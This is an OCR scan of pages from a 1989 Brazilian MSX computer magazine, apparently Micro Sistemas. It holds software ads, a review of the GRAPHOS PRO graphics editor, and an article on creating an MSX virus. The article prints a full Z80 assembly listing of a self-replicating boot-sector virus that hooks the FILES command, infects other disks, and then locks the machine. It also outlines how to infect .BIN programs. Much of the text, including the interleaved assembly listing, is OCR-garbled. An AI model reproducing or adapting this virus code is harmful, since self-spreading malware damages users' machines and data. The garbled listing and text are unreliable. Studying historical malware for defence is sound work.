CLEAR BOLDS, SASA. PACK ADVENTURE 401 — FLORESTA NEGRA, MONSTROS DANOI-
TE 1, HIGHLAND 1. 402 — KRULL 1, MISTERIO EM ROMA 1, INDIANA JONES ZERO 1.
403 — MONSTROS DA NOITE 2. 404 — FLORESTA NEGRA 2. 405 — KRULL 2. 406
— HIGLANDER 2. 407 — MISTERIO EM ROMA. 408 — INDIANA JONES ZERQ 2

NEMESIS: O CONDE DE MONTE CRISTO, MENPHIS.
QUALQUER PACOTE NCz$ 45,00

FACA JA O SEU PEDIDO!

Envie cheque nominal a

ZOCHIO REPRESENTACOES LTDA.
Caixa postal 1793

— CEP 20001 — Rio de Janeiro — RJ
telefone: (021) 262-6306




GRAPHOS PRO
A novidade do ano
para MSX

quando a primeira versao do edi-
tor GRAPHOS i foi lancada, no fi-

v nal de 1987, a quantidade de apli-
catwos graficos para MSX disponiveis no
mercado nao devia ser maior do que o nu-
mero de teclas de cursor do equipamento.
E 0 que é pior: naquela época a Unica alter-
nativa era mesmo adquirir as poucas ofer-
tas existentes no “paralelo’;, com todas as
desvantagens que isto traz - auséncia de
manuais e suporte técnico, além da total in-
compatibilidade entre os programas, para fi-
car apenas em alguns exemplos.

Hoje, passados exatos dois anos, 0
usudrio brasileiro nac pode se queixar da fal-
ta de escolha. Afinal, s entre os softwares
do género desenvolvidos aqui alinham-se
inlmeros programas de qualidade - todos
documentados, com garantia de seus fabri-
cantes e caracteristicas de desempenho,
em muitos casos, superiores as dos simila-
res estrangeiros.

O GRAPHOS lll ndo apenas foi pionei-
ro ao tragar a rota para esse tipo de produ-
¢ao, como nao tardou a se transformar num
auténtico parémetro de referéncia para os
softwares de sua categoria que viessem a
sucedé-lo. Com efeito, mesmo nestes dias
em que ja fica dificil determinar qual o me-
Ihor dentre tantos aplicativos graficos para
o MSX - até por causa da tendéncia natural
de tais programas se complementarem ; 0
GRAPHOS Il continua a desfrutar de uma
posicao de prestigio toda especial, como o
editor grafico para MSX que se tornou pa-
drao no Brasil.

Comemorando o segundo ano de su-
cesso de seu produto, a PRO KIT Software

16 MICRO SISTEMAS

océ pode até nao lembrar, mas.

Claudio Costa

estd comercializando o GRAPHOS PRO -
uma versao mais sofisticada do GRAPHOS
11, desenvolvida inicialmente para uso inter-
no no CPD da revista MICRO SISTEMAS e
que foi utilizada na confecgao dos graficos
do adventure “A Lenda da Gavea” (veja MS
84). Por se tratar da evolucao natural de um
editor tao popular como o0 GRAPHOS I, a
versao PRO vinha sendo aguardada ja ha al-
gum tempo, num clima de bastante expec-
tativa. Sem mais demora, entao, vamos sa-
ber o que mudou e quais sao as novas ca-
racteristicas do GRAPHQOS PRO.

A CRIACAO DE UM DISCO DE TRABALHO

A primeira diferenca visivel do GRA-
PHOS PRO em relagao a versao anterior sur-
ge logo na tela de apresentacao, onde se no-
ta a divisao do programa em trés modulos
operacionais distintos. O GRAPHOS PRO, na
verdade, leva s Gltimas consequéncias a fi-
losofia de modularidade responsével pelo

“O GRAPHOS lil nGo
foi apenas pioneiro
mas se tfransformou
num parametro
de referéncia para
programas dessa
categoria.”

sucesso do GRAPHOS original. Isto signifi-
ca que nao existem comandos complicados
a serem memorizados: todas as funcoes
encontram-se agrupadas em blocos 16gi-
€0S, para que o usuario nao tenha dificulda-
de em localiza-las.

As operacoes de edicado e conversao de
telas, alfabetos e shapes sao acessadas por
meio do médulo EDICAO. O médulo DTELA
(display tela) contém todas as rotinas para
a apresentacao e impressao de telas, en-
guanto que os procedimentos para grava-
¢ao e recuperacao dos alfabetos, telas e
shapes estdo reunidos no modulo DISCOS.
Este modulo &€ também responsavel pela ini-
cializacao dos buffers toda vez que o usua-
rio cria um novo disco de trabalho.

O conceito de utilizagao de um disco
de trabalho € outra implementagao impor-
tante no GRAPHOS PRO. O disco que o
usuario adquire consiste agora numa matriz
gue instala uma copia para uso corrente em
outro disquete, com o propobsito de preve-
nir eventuais danos no disco de sistema. O
procedimento para instalagdo de um disco
de trabalho é simples: basta ressetar o dri-
ve com o disco matriz do GRAPHOS PRO no
drive A. O usuério devera entdo indicar com
quantos drives deseja trabalhar (o GRA-
PHOS é capaz de operar com até quatro dri-
ves simultaneamente) e quantos buffers de
gravacao deverao ser utilizados. De acordo
com essas especificagoes, 0 proprio siste-
ma se encarregara de produzir uma copia
de trabalho. :

E interessante notar que o disco de tra-
balho é tratado virtualmente como uma ex-
tensao da memoria. Assim, além de conter
os modulos operacionais a que nos referi-
mos ha pouco, este disco também sera usa-




do para arquivar as telas, shapes e alfabe-
tos em edicao. Cada um desses elementos
& alocado num buffer especifico do disco,
cuja quantidade ira variar em fungao da me-
moria do disquete empregado: um disco de
5 1/4” face simples é capaz de comportar
até quatro buffers, enquanto que num dis-
co de 3 1/2” face dupla podem ser defini-
dos até 22 buffers.

Visto isso, vamos conhecer alguns dos
novos recursos do GRAPHOS PRO.

0 MODULO DE EDIGAO

Para quem pretende efetivamente de-
senhar na tela do micro, uma facilidade in-
substuivel € a linha elastica. Ativando-se a
fungao LINHA, sera visualizada na tela uma
linha gue se altera de acordo com o movi-
mento das teclas do cursor. Ao atingir a po-
sicao desejada pressiona-se a barra de es-
paco e sO entao o tragado da linha se tor-
nara permanente. Muita gente (ald, alg, Luiz
Moraes!) acha mais facil e confortavel dese-
nhar a mao livre valendo-se deste recurso
do que usando o tradicional lapis e papel,
pois deste modo da para antever que efei-
to determinado traco ird produzir num de-
senho antes de posicioné-lo definitivamente
- 0 que equivale a obter uma espécie de es-
bogo em realtime. Além disso, a linha elas-
tica pode ser usada em conjunto com a fun-
cao GRID a fim de se efetuar a transferén-
cia de um desenho realizado em papel qua-
driculado para a tela do computador. Se de-
pois de tudo isso vocé ainda sentir sauda-
de do sistema antigo, onde o cursor se des-
locava sem exibir a linha, o recurso de linha
elastica pode ser temporariamente desliga-

“O GRAPHOS se
distingue por ser o
unico editor para
MSX que oferece
facilidades especiais
para o manuseio
de shapes”

do sem problemas. Como nao poderia dei-
xar de ser, as funcoes para o tragado de cir-
culos, retdngulos e elipses também dis-
poem da facilidade da linha elastica.

Alguns usuarios provavelmente irdo se
sentir no direito de esquecer a opgao con-
vencional de trago a mao livre, mas ela con-
tinua sendo importante para a realizagao de
retoques e acabamentos. Por este motivo o
alcance da funcao TRACO foi ampliado no
GRAPHOS PRO: agora 0s pixels podem ser
manipulados individualmente, através das
seguintes operacdes: setar/fressetar um pi-
xel de acordo com os atributos especifica-
dos: modificar apenas o seu INK; modificar
apenas o PAPER; ou ainda alterar somente
o estado do pixel sem mexer em seus atri-
butos. Mais flexibilidade que isso...

Ao terminar o desenho, se Vocé quiser
preenché-lo usando a fungao FILL, atente

para os 16 novos padroes de texturas dis-
poniveis. E comum usarmos estes padroes
para produzir sombreados e hachuras em
desenhos do tipo técnico que serao poste-
riormente copiados na impressora. Entre-
tanto, como o programa permite que tais pa-
droes sejam editados e gravados para pos-
terior recuperacao, nada impede que vocé
tire partido disso e os utilize de maneira um
pouco diferente: basta edita-los no forma-
to de blocos com linhas alternadas e expe-
rimentar um fill com as diversas combina-
¢Oes de atributos para obter algumas cores
“alternativas” Sao mais de 16 cores além
das 15 originais - algumas muito bonitas, co-
mo os tons de ocre e azul esverdeado.

Mas se 0 seu negdcio € mesmo dese-
nho técnico, ou alguma modalidade de de-
senho artistico que exija uma orientagao es-
pacial mais precisa, o GRAPHOS PRO foi fei-
to pensando em vocé. Um sistema especial
de coordenadas foi previsto com o objetivo
de facilitar ao maximo o posicionamento
correto de elementos visuais na tela. Para
tanto é suficiente posicionar em qualquer
parte do video uma linha de status, que pas-
sara a exibir trés sistemas de coordenadas
relacionadas com a posi¢ao do cursor: o pri-
meiro indica as coordenadas X e Y do pon-
to de acordo com o sistema do MSX, onde
a origem corresponde ao primeiro pixel da
area de video; o segundo possui a mesma
origem, porém indicando as coordenadas
de linha e coluna dentro do esquema de vi-
deo de 32 colunas por 24 linhas; e o Gltimo
tem sua origem especificada pelo usuario
- basta teclar ENTER para estabelecer uma
nova origem.

Como se tornar proprietario de uma Softhouse.

Nosso Sistema de Franchising

0 que e Franchising ?

0 termo franchise, na lingua inglesa, tem mais de um
significado. # palavra em si mesma, significa,juridicamente
DIEIM. Um direito, gue alguem adquire, de fazer algo, por
autorizacao ou concessao de outrem,

0 QUE OFERECEMOS:

: . 1 ég gﬂ:mf?ﬂ%ﬁnpﬁ EM TODO TERRITORIO NACIONAL.
-ia, i ive, dizer gque o franchising tal- . .
ves eorp"ﬂffﬁﬁe‘: cégg}ggéu; que ha de melhor nos sxgtenas 3). ESQUEMA PARA INSTALACAO DO EMPREENDIMENTO.
eapitalﬁta ¢ socialista, na medida #m que garante a forma- 4). PUBLICIDADE & CUSTO REDUZIDO.
cao, a viabilizacao e a sobrevivencia de micro e pequenas 9). UMA MEDIA DE 1888 SOFTWARES PARA O MSX.
S e O e sor oy fransueadory 13, KETORNO A CUKTG BRAZO' Do’ INVESEINENTO
o -nae” nchisor ou . 5
;;l"aﬁao exiel SUndp aqusles oontipiar independentes, ate um 8). APOIO A0 FRANQUEADO PARA 03 ASSUNTOS DA AREA.

perni tindo aﬁgeles continuar ip
certo ponto "donos dos proprios narizes”.
sujeitos a_normas de conduta e atuacao, mas
Seus proprios patroes.

Franchising: As vantagens

Com um "socio”™ e
essencialmente

REQUISITOS:
1). INVESTIMENTO INICIAL DE 12.800 BINS (EXCLUINDO AS DES-

1), Oamr_oun uma marca ja conhecida, PESAS COM INSTALACOES.
D B er o0 42 catdads ¢ ivietat®a  3): TORCA DE VONTADE e OTINISHO
. a unldade & Iniclo da . s
pPeracao. i . i i 4). SE IDENTIFICAR COMO EMPRESARIO.
4). Publicidade com custo menor, entre os franqueados
5). Reducao de custos de instalacao e operacao.
. 6). Desenvolvimento constante de novos produtos e
ecnicas.
7). Contato direto com toda a rede de franqueados.
8). Territorio exclusive ac franqueado.

MAIORES EXPLICACOES PODERAO SER OBTIDAS EM NOSSA EM-
REUOLUC A0 b6 WARKETING - maxceio cnasre  PRESA COM A SRTA MARLI OU PELO FONE (B11) 825-5248.
RECURSOS DIGITAIS INFO E COM LTDA - REDI UNIVERSOFT
Rua Cons Broterc 589 Cj 42 CEP 81154 Sac Paulo - SP
827920 2418550 |

FONE (011)




AJUSTES E DUPLICAGOES

Ainda assim pode ser que vocé nao fi-
que satisfeito com os primeiros resultados
de seu trabalho, e entdo o jeito & partir para
0s ajustes. Sinta-se inteiramente & vontade,
neste caso: a opgao CORTE foi incrementa-
da para funcionar como um auténtico mi-
nimodulo de edi¢do. Apos definir o pedaco
da tela em que esta fungéo ird operar, o
usuario podera produzir um grid dentro da
area selecionada; inverter o estado dos Di-
xels (de setado para ressetado ou vice-
versa); trocar os atributos por um novo con-
junto de cores; e limpar, refletir ou espelhar
0 conteddo da drea em questao. Muito bem,
queixosos com o vazamento de cores do
MSX: agora nao ha mais nenhuma descul-
pa para ficar reclamando da nefanda colisao
de atributos.

Por outro lado, se os resultados tiverem
ficado tao bons a ponto de animarem o ar-
tista a vé-los repetidos, um jeito facil de con-
seguir isto & ativando a opgao DUPLICA. Adi-
vinhou: esta funcao permite duplicar uma
area da tela, ou ainda produzir um efeito de
duplicacao sobreposta, no qual a imagem
& deslocada pelo video deixando para tras
uma espécie de ‘rastro’. Sobrepor duas ima-
gens diferentes também é moleza para o
GRAPHOS PRO: basta acionar a opgao
OVERLAY, que efetua a sobreposicao de
uma tela armazenada num buffer do disco
de trabalho com a tela em edigdo. O interes-
sante & que as areas da tela aimazenada no
buffer que tiverem o atributo zero (transpa-
rente) nao produzirao alteragdes na tela em
edi¢ao. Este recurso reproduz o efeito de
uma mascara e possibilita a insercao de
imagens somente em areas pré-definidas na
tela em edicao.

SHAPES E ALFABETOS

E ja que falamos na manipulagéo de
partes da tela, & importante ressaltar as no-
vidades que dizem respeito ao tratamento
dos shapes - afinal, o GRAPHOS se distin-
gue por ser o Unico editor para MSX que ofe-
rece facilidades especiais para 0 manuseio
deste tipo de elementos gréaficos. O proces-
so de pesquisa dos shapes nos buffers foi
otimizado, a fim de agilizar a selecdo de um
determinado shape. Além disso, os shapes
agora podem ser associados auma tecla e
selecionados diretamente do teclado: bas-
ta pressionar a tecla “A’, por exemplo, para
que o shape a ela associado seja imediata-
mente visualizado. Isto se torna particular-
mente Util quando trabalhamos com shapes
de letras do alfabeto.

Utilizar shapes de letras, no entanto, &
um procedimento que chega a beirar o exa-
gero guando se sabe que o GRAPHOS PRO
& capaz de manipular trés tipos diferentes

- A nova série GRAPHOS PRO

O GRAPHOS PRO traz uma inovagdo mui-
to interessante para os aficionados das artes
no computador: o status de série modular

Tal caracteristica, idéntica a linha de uti-
litarios PRO KIT, foi desenvolvida para operar
sob qualguer tipo de MSX e interface de drive.

Com isso, aplicacoes especificas tais co-
mo impressao de paginas inteiras de formula-
rio, cartazes, rotinas especiais de animagao,
elc., serdo projetadas como modulos integra-

dos ao sistema GRAPHOS PRO.

Dois médules ja se encontram disponi-
veis no mercado: 0 médulo TELA, composto
apenas pela parte de edicao de telas do GRA-
PHOS PRO, e o médule ALFAB, composto pe-
la parte de edicao de alfabetos.

Outra novidade da série GRAPHOS é um
pacote grafico, em disco, composto por sha-
pes coloridos, padroes de FILL, alfabetos no
formato GRAPHOS, shapes de letras, etc.

de alfabetos: o padrao MSX comum, cujo
formato de caracteres equivale a 8X8 pixels;
o formato PRO KIT, onde os caracteres obe-
decem as regras de acentuacac deste sis-
tema e ocupam 6X8 pixels; e 0 padrao GRA-
PHOS, onde o tamanho de cada caracter é
estabelecido de acordo com o tipo de letra
€ 0 efeito de impressao desejado. Vale des-
facar, nas entrelinhas, que os caracteres es-
peciais podem ser acessados normalmen-
te pelo teclado e que HOME/CLS, INS, DEL
& SELECT permanecem ativos no modo de
escrita. O GRAPHOS PRO é ainda o tnico
editor a possuir uma rotina de espaceja-
mento inteligente, que efetua o alinhamen-
o proporcional entre os caracteres instan-
faneamente no momento da impressao - na-
da daquela historia de ficar retrocedendo o
cursor duas vezes apos digitar a letra “I7, por
exemplo. Usuérios de olho na producgéo de
letreiros ou legendas para videocassete vao
gostar dessa.

ULTIMAS IMPRESSOES

Apesar da escrita no video ser reco-
nhecida como um de seus pontos fortes, a
0pgao para impressora do GRAPHOS 1l foi
justamente a razdo de suas criticas mais fre-
qlentes - mas se € verdade que a Gltima im-
pressao € a que fica, entao o GRAPHOS PRO
se redimiu desta vez. Foram previstas trés
modalidades distintas de impressao: sim-
ples, onde € produzida uma cépia da parte
dos pixels da tela, em tamanho natural; du-
pla, para a impressao da parte dos pixels em
tamanho ampliado; e cinza, na qual a cor
dos pixels € impressa na forma de um pa-
drao grafico que reproduz a tonalidade de
cinza equivalente. Também os parametros
de densidade (simples/dupla) e tabulacao
podem ser ajustados pelo usuario, além do
numero de reprints - a quantidade de vezes
que uma mesma linha devera ser impressa
a fim de se conseguir uma cépia mais niti-
da. O GRAPHOS incorpora, assim, uma das
poucas rotinas de impressao de que se tem

noticia a chegar ao extremo de ser até mes-
mo & prova de fitas “desvanecidas”

Caso o objetivo seja exibir as telas no
video e nao naimpressora, & sé levar o cur-
sor até o modulo DTELA. O GRAPHOS PRO
nao apenas é capaz de mostrar a tela em
edicao utilizando diversos efeitos visuais, co-
mo ainda permite a criacao de um disco de
arquivo para apresentar as telas em anima-
¢ao continua, uma apds a outra. O resulta-
do pode ser gravado em video ou exibido
como demonstrativo em forma de
“slide-show”.

Os procedimentos para gravacao e re-
cuperacao de argquivos nao mereceriam um
modulo a parte no GRAPHOS PRO sem um
bom motivo: todas as operagdes com arqui-
VOs realizadas pelo programa foram cerca-
das dos maiores cuidados a fim de preve-
nir erros ou enganos por parte do USUArio,
E praticamente impossivel perder um arqui-
VO Numa operagao desatenta durante uma
sessao com 0 GRAPHOS PRO: o sistema so
executa uma operagdo no disco se todas as
informagoes estiverem corretas, e qualquer
equivoco resulta numa mensagem de aler-
ta para o usuario. Estes cuidados s3o de
grande valia em programas como os edito-
res graficos, onde normalmente se trabalha
com uma grande quantidade de arquivos.

CONCLUSAO

Ainda haveria muito o que comentar
sobre as sutilezas desta nova versao - vocé
pode até escolher o formato do cursor pa-
ra as operacoes de edicao, para mencionar
apenas uma; mas a regra geral diz que na-
da substitui a experiéncia de assistir este ti-
po de programa em funcionamento. De
qualguer forma, releia com atencao esta
analise e confira se s6 o que foi dito aqui ja
Nao é o bastante para confirmar que o GRA-
PHOS deve permanecer no topo por muito
tempo.

PROGRAMAS PROFISSIONAIS
PARA MSXE PC

MSX

Gontabilidade Profissional Completa em Dbase Il Plus — 150 BTNs
Controle de Estoque Profissional em Dbase |l Plus — 80 BTNs
Supershapes 1,2 e 3: Para Graphos Ill e Page Maker — 14 BTNs
Supershapes, 2 e 3: Para Graphos lll e Page Maker — 14 BTNs (cada)
E.V.A.: Editor de Vinhetas Animadas — 25 BTNs

L.S.D.: Letters Special Designer — 15 BTN

PC

Agenda Profissional ¢c/Mala Direta e Editor de Textos — 500 BTNs
Contabilidade Profissional Completa — 500 BTNs

Agenda Politica c/Mala Direta e Editor de Textos — 500 BTNs
Programas Originais c/Manual, Garantia e Atualizagdo de Versio.
Pedidos através de Cheque Nominal ou Vale Postal a:

NEWDATA INFORMATICA E SISTEMAS LTDA.

Rua Ricardo Franco, 223 — CEP 79001 — Campo Grande — MS
Caixa Postal 1043 — Telefone (067) 761-3425




O CAFE
JATIROU O
SONO DE
MUITA GENTE.

B AGORATODO
B MUNDO DORME
PN  TRANQUILO COM |
mlmm?ﬁi?é"ﬁﬁ ; - .' DATALIF E' PRO-

Durma com um barulho deste.
A Verbatim estd lancandoDa talife-Pro, odisquete
revestido com Teflon® que é uma verda eira
revolucao no mundo da Informatica. Isso permite,
simplesmente, derrubar Coca-Cola, café melecar
0 disquete com doces, batom, amendoim,
. corretivos de datilografia e todos os tIBgs de
coisinhas que podem acabar com todo o trabalho,
E;, para resolver estes problemas, €s6limpar o
disquete, e ele esta novo, Com todas as informacdes
que voceé colocou nele.
Datalife-Pro. Agora todo mundo pode beber e
comer em servico,

SINONIMO DE PRECISAO EM TODAS AS LiNGUAS. |

\(l

MEE A e L S e B

‘l



O CAMINHO CERTO

PARA O SEU
MSX

TURBINE O SEU

SUPRIMENTOS

Disquetes ¢ Fitas para Impressoras - MSX NA ECTRON
Formularios Continuos '

PERIFERICOS - - Transforme o seu MSX 1.0/1.1
Drive para MSX 51/4 e 31/2 » Video em MSX 2.0 de segunda geracao.

Station e Interface para Drive ¢ Cartao
de 80 Colunas ® Modem ¢ Monitores
de Video

ACESSORIOS

Gabinete e fonte para drive ¢ Porta
disquetes em acrilico para 100 discos
e Capas para micros e impressoras ®
Mesas para computadores e impres-
soras

SOFTWARE

e DBase Ferramenta Profissional para
manipulacao de banco de dados.

e Super Calc: A mais famosa Planilha
de calculos

(Ambos com suporte técnico e re-
posicado de versao)

LIVROS

100 Dicas para MSX ¢ Programacéo

Avancada e Astrologia ® 50 Dicas para
MSX (em lancamento) ¢ Curso de A Ectron Ianca AL

Musica  Curso de Basic exclusividade, o copiador
JOGOS “TRAFIC”’, de fita para disco.

Ten}o_s a colecdo completa inclusive
0s ultimos langamentos.

Agora vocé ja pode passar 0S Seus programas

Temos ainda uma infindade de em fita para disco, sem os velhos problemas
aplicativos, os mais potentes do mer- que ocorrem com 0s outros copiadores. Acom-
cado. panha manual de utilizacao e disco. '

FITAS DE VIDEO ; . ,
Faca seus pedidos através da Caixa Postal 12005

N Bt N oot o Mo | — CEP 02098 — Sao Paulo — SP ou faca-nos
““Curso de Basic MSX’’. Acompanha uma visita:
livro.

Dominando o MSX

i

I SOLICITE CATALOGO l

COM NOSSOS PRODUTOS ECTRON ELETRONICA LTDA.
GRATIS! Rua Dr. Cesar, 131 — Metré Santana—Sao Paulo — SP
- Tel.: (011) 290-7266
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Como criar um
Virus no MSX

s, S Virus de computador nunca esti-

%ﬁ veram tao em evidéncia quanto
§ nesses ultimos tempos. Eles con-
S seguiram a proeza fantastica de
sair dos Cls e dos circulos de usuarios para
invadir os jornais e as televisoes.

Os mesmos noticiérios que nos infor-
mam diariamente sobre a inflagéo, a situa-
¢ao econdmica e as mazelas da politica na-
cional abriram espaco, de uns tempos pa-
ra ca, para falar da peste que assola a
informatica.

E curioso constatar que nenhum soft-
ware alcangou tamanha notoriedade no Bra-
sil, independentemente de sua importancia
e influéncia no cotidiano das pessoas. O me-
do do computador comeca a ser vencido
Jjustamente pelo aspecto mais critico da in-
formatica: afinal ndo & o virus o vildo da his-
toria, e sim o que ele representa.

A comunidade que se vale do uso do
computador entrou em panico justamente
no momento em gue ficou patente a fragi-
lidade dos sistemas frente a promiscuida-
de acalentada no seio das préticas piratas.
N&0 s&o as consequéncias dos virus que as-
sustam, mas o que estaimplicito a partir da
sua existéncia. Ninguém mais podera copiar
displicentemente um programa sem temer
& contaminacao. Esta € a grande discussao
gue devera existir em relacdo a esse
assunto.

O DESAFIO DE CRIAR UM ViRUS

O virus € um pequeno programa que
se instala no computador e cuja caracteris-
Ticz principal € a sua capacidade de auto-
duplicacao. Ele deve se integrar ao funcio-
namento da maquina de tal forma anio ser
percebido facilmente pelo usudrio. A partir

Renato Degiovani

dai, sua mecancia funcional ird determinar
quando e como ele ira contagiar programas
e discos “sadios’

Até aqui nao ha nenhum problema
com esses mindsculos programas. O pro-
blema ético comega a surgir quando se es-
tabelece o que o virus ira fazer apds um de-
terminado tempo, ou numa data especifica,
Ou com um determinado programa, etc.
Existem desde virus que destréem total-
mente as informacdes de um disco até
aqueles que simplesmente emitem uma
mensagem humorada sobre algum tema.

O que nos interessa aqui & ilustrar co-
mo um virus pode ser criado e qual a 16gj-
ca que o cerca. Pretendemos mostrar aos
nossos leitores que, independentemente do
que se diz, um virus de computador é algo
extremamente facil de ser criado; que ne-
nhum computador esta a salvo desses pro-
gramas, nem mesmo o MSX; e que somen-
te 0 conhecimento da mecanica de um vi-
rus habilita o programador a criar sistemas
de protecao para serem incorporados aos
programas.

Nao se pode negar também que criar P

Como tudo aconteceu |

Quando faltavam dois dias para o fecha-
mento desta edicao, houve uma reunido da
equipe de produgdo da revista a fim de fazer
uma avaliagao técnica e determinar quais se-
riam as chamadas de capa da mesma.

Um dos temas sempre presentes nessas
ocasioes € a questao dos virus de computador,
€ esta reuniao ocorreu justamente na sexta-
feira, 13 de outubre, quando todos os veiculos
noticiosos estampavam manchetes sobre o
assunto.

A constatagdo feita por todos os preser-
tes foi a de que seria importante se a MICRO
SISTEMAS pudesse publicar informagoes téc-
nicas sobre os virus: nao apenas o gue eles fa-
ZE/m € COMO atacam, mas como sao feitos e co-
mo realmente funcionam.

Para viabilizar tal projeto havia duas bar-
reiras a serem vencidas: o tempo era muito cur-
to(dois dias) e o fato de nenhum dos membros
da equipe técnica conhecer alguém que tives-
se tido um contato intenso comvirus e que es-
tivesse disposto a abordar o tema.

-cionamento do micro.

Restava entao a alternativa de resolver o
problema dentro de casa mesmo, ol seja, al-
guem da revista teria que arregagar as mangas
da camisa e ir a luta.

Ficou estabelecido, ainda na reunido, que
iria ser eriada uma mecénica de contaminacao
e de funcionamento. No seria abordada tec-
nicamente nenhuma forma de destruicao de
programas ou discos e que o virus criado de-
veria apenas emitir uma mensagem ap6s um
determinado tempo, travando a seguir o fun-

No dia seguinte, por voltadas 10 horas da
manha, os trabaihos de programacao comega-
ram e os primeiros testes do virus ocarreram
por volta das 11:30 h. Apés algumas correcoes
€ ajustes, as 12:27 horas o virus estava pron-
to e funcionando perfeitamente. O passo se-
guinte foi escrever a matéria que iria acompa-
nhar o programa.

Isso ilustra claramente que a criacio de
Um VIrus nao exige muito trabalho: pouco mais:
de duas horas foram suficientes para se criar
um exemplar da espécie dos inofensivos.
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;¥irus experimental — MICRO SISTEMAS - 1989 =mssscsccscacces LD A, 8CD
LD (#EBD8) , A
ORG $FS75 LD A,S ;Qt de FILES antes da mensagem
Lo (CONT) . A
INETAL: LD HL, #ECS5 ;End. inicial do virus LD HL, 4EBAA :Grava o novo boot
LD DE, $F975 ;End. onde serd implementado LD DE.O
LD BC, 256 LD BC,$01F8
LDIR ;Transfere XOR A
JP $F983 ;Salta para a préxima instugdo SCF
LD HL ,VIRUS ;End. do desvio de ativacdo CALL #0144
LD (§FE7C) ,HL ;Hook FILES
LD A,3C3 FILES: EXX ;Executa o files do usuario
LD ($FEVB) ,A POP BC
LD DE, #COCD :Continua o boot jale) ] DE
RET FOP  HL
EXX
VIRUS: PUSH HL i8alva os registradores POP 154
FUSH DE POP Ix
PUSH BC = POP AF
PUSH AF POP BC
PUSH 1IX FOF DE
PUSH IY POF HL
EXX RST #30
PUSH HL DEFB #01,#88,#6E
PUSH DE RET
FUSH BC
EXX BOMBA: LD A, (CONT} ;Decrementa o contador
LD HL,#EBAA iBuffer de setor DEC A
LD DE, 0 ;Betor zero LD (CONT) . A
LD BC,$01F8 ;Ler apenas um setor JR NZ,FILES ;Ainda ndo explodiu
XOR A CALL #6C ;Gcreen 0
CALL 4$0144 CALL $#C3 :CLS
LD A, ($ECAA) ;Verifica se o disco no LD HL,MSG ;Imprime a mensadem na tela
OR A ;drive jd estd contaminado LD DE, 88
JR NZ,BOMBA LD BC,23
CALL #5C
CONTAG: LD HL,3F975 iTransfere o virus p/o buffer JR s iTrava o micro
LD DE, #ECAA
LD BC. 256 CONT: DEFB §
LDIR
LD HL,$ECS5 ;Implanta o desvic no boot do MBG: DEFM "VOCE FOI "
LD {(#EBDZ) ,HL idisco DEFM “CONTAMINADO..."

Listagem integral do virus. A instalacao sera executada parte em &HEC95 e a sua complementagdo no buffer de voz.

um virus de computador & um desafio irre-
sistivel para gualquer programador; afinal es-
se nao so € 0 assunto da moda, como tam-
bém inexiste qualquer tipo de literatura téc-
nica sobre o tema.

ESTABELECENDO OS PARAMETROS

Podemos dividir os virus em duas
grandes categorias: aqueles que funcionam
a partir do disco (inicializacao ou boot) e
aqueles que estao incorporados aos
programas.

Optamos por criar um virus gue es-
tara hospedado no setor zero dos discos e
que sera instalado a partir do boot do mes-
MO, OU S€ja, ao ressetar o micro com o dis-
co contaminado no drive A. Vamos ver de
perto como essa mecanica funciona.

Quando o computador é ressetado, o
setor zero é copiado do disco para a memo-
ria a partir do endereco &HEB9Y5. Em segui-
da a rotina de inicializag&o copia 0s primei-
ros 256 bytes do setor para o enderego
&HCO000 e faz um salto (JUMP) para o en-
dereco &HCO1F As rotinas que sao execu-

tas no boot procuram o sistema operacio-
nal ou produzem o salto para o BASIC dis-
Co, caso nao haja um sistema operacional
presente no disquete.

Vamos entao fazer o seguinte: 0s 256
bytes que nao tém utilidade para o boot hos-
pedarao 0 Nosso Virus e para que 0 mesmo
seja ativado teremos que criar um desvio na
rotina de inicializacao do disco.

No enderego &HCOZE temos uma
instrucao de carregamento do par DE que
ocupa exatamente trés bytes. Trocaremos a
mesma por uma chamada a rotina de ins-

[ Ao seu alcance, o siléncio! |
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talagéo do virus, que estara no endereco
&HEC95. Veja na figura 1 a diferenga entre
um boot normal e um boot contaminado.
0 virus sera entao transferido para
uma éarea das variaveis do sistema conhe-
cida por buffers de voz (enderego &HF975),
que & usada pelas rofinas da instrucao PLAY.
A chamada ao virus sera colocada no hook
associado ao comando FILES do BASIC
(&HFET7B) e dessa forma sempre que se der
o comando FILES o virus seré ativado.
Acompanhe o procedimento integral
nas rotinas apresentadas na listagem 1. A
mecanica em sindo é das mais complexas,
e ilustra bem como o bichinho funciona.
Lembre-se porém gue este &€ apenas um
exercicio técnico e 0 Nosso virus pode ser
detectado ou desativado facilmente.

CONSIDERACOES FINAIS

A eficiéncia de um virus depende
muito mais de onde ele foi instalado e de co-
mo ele se disfarga do que propriamente das
suas rotinas funcionais. De fato, 0 sucesso
ou fracasso de um virus esté vinculado &
sua capacidade de passar despercebido ao
usuario. :

Geralmente, o virus é instalado para
ser ativado por comandos gue acessam o,
drive. Isto & feito para nao levantar suspei-
tas da sua presenca num disco. Qualquer
usuario suspeitaria se a luz do seu drive
acendesse fora de hora.

Por outro lado, o grande problema a
ser resolvido pelo programador & a instala-
¢ao do virus, ou seja, a primeira vez gue ele
ira funcionar. O virus que criamos € ativado
sempre gue um disco contaminado € usa-
do para a inicializagao do micro. De outra for-
ma ele é inocuo.

Um virus mais elaborado, e portanto
mais eficiente, precisaria ser instalavel a par-
tir de um programa qualquer. Para isso, 0 bi-
chinho teria gue reconhecer um programa
.BIN no diretério do disco, carregé-lo na me-
moria, desviar o entry point para o final do
bloco onde o mesmo sera copiado e regra-
var o programa .BIN.

A ativagao do virus também depen-
de de uma escolha bem feita. Pode-se

== PAO KIT ==sssm====s=samzz=== zapper ==
Drive: & Setor: 000

0000: EB FE 90 4D 53 58 2D 30
o00a: 32 20 20 00 02 02 01 QO
00l0: 02 70 00 DO Q2 FD Q2 00
0oig: 05 00 02 00 00 00 DO ED
0020: 53 6B CO 32 F3 CD 36 68
Q028: 23 36 c0 31 1F E5 11 CD
p030: €0 D5 OE OF CD 7D F3 BY
00368: CA 4B €0 Dl 11 a7 €0 COE
0040: OF €D 7D F3 3¢ 28 2E 11
0045: A7 CO D5 11 00 01 OE 1A
0050: cp 7D F3 21 01 00 22 BS
0058: CO 22 DB ¢0 D1 21 00 3F
00s0: OF 27 ¢p 7D F3 c3 00 01
0068: 58 CO CD 00 00 79 E6 FE
0070: FE 02 cZ 6& CO 3A F3 CO
0078: A7 CA 22 40 11 8B CO OE
0080: 09 €D 7D E3 OE 07 ¢D 7D
Q088: F3 18 AD 45 72 72 6F 20
0090: &E &1 20 63 &1 72 67 61
0095: 0D 0A 54 65 63 6C 65 20
Q0AD: 61 &C 67 GF 0D DA 24 DO
ODAS: 4D 53 58 24 4F 53 20 20
gOBD: 53 592 53 00 00 00 0O 0O
